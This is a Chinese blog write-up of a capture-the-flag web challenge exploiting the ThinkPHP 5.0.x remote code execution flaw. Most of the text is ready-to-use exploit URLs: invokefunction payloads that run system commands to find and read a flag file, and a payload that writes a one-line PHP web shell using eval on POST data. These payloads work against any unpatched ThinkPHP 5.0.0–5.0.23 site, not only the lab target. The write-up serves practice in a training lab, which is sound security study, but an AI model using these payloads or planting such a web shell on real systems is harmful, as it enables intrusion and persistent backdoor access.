攻防世界-web-php_rce(ThinkPHP 5.0命令执行漏洞)

本题进入场景后显示如下页面

这是一个 thinkphp 框架,先查看版本号。在网址上随意输入一个不存在的模块 地址:

可以看到,thinkphp 版本为 5.0.20。

搜索发现,ThinkPHP 5.0.0-5.0.23 存在远程代码执行漏洞。

漏洞成因可参考:https://www.cnblogs.com/backlion/p/10106676.html

网上有很多现成的POC,可以直接拿来使用。

方法一:

首先,查找flag文件

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("find / -name 'flag'");'

或者

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

接着,查看flag。

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("cat /flag");'

或者

/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

方法二:

写入一句话木马

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php highlight_file(__FILE__);@eval($_POST[sss]);?>

如果成功写入会返回文件的大小,尝试去访问该文件:

然后直接上菜刀。(连接失败,不知道为啥。。。)

 

posted @ 2020-09-16 10:28  zhengna  阅读(1438)  评论(1编辑  收藏  举报